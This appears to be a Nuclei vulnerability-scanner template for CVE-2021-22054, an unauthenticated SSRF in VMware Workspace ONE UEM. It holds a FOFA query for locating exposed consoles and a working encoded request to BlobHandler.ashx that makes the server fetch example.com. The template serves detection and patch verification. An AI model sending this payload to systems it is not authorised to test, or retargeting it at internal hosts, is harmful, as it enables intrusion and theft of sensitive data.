id: CVE-2021-22054

info:
  name: VMWare Workspace One UEM SSRF
  author: h1ei1
  severity: high
  description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.
  reference:
    - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22054
    - https://www.vmware.com/security/advisories/VMSA-2021-0029.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-22054
    cwe-id: CWE-918
  metadata:
    fofa-query: banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx"
  tags: cve,cve2021,vmware,workspace,ssrf

requests:
  - method: GET
    path:
      - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<title>Example Domain</title>"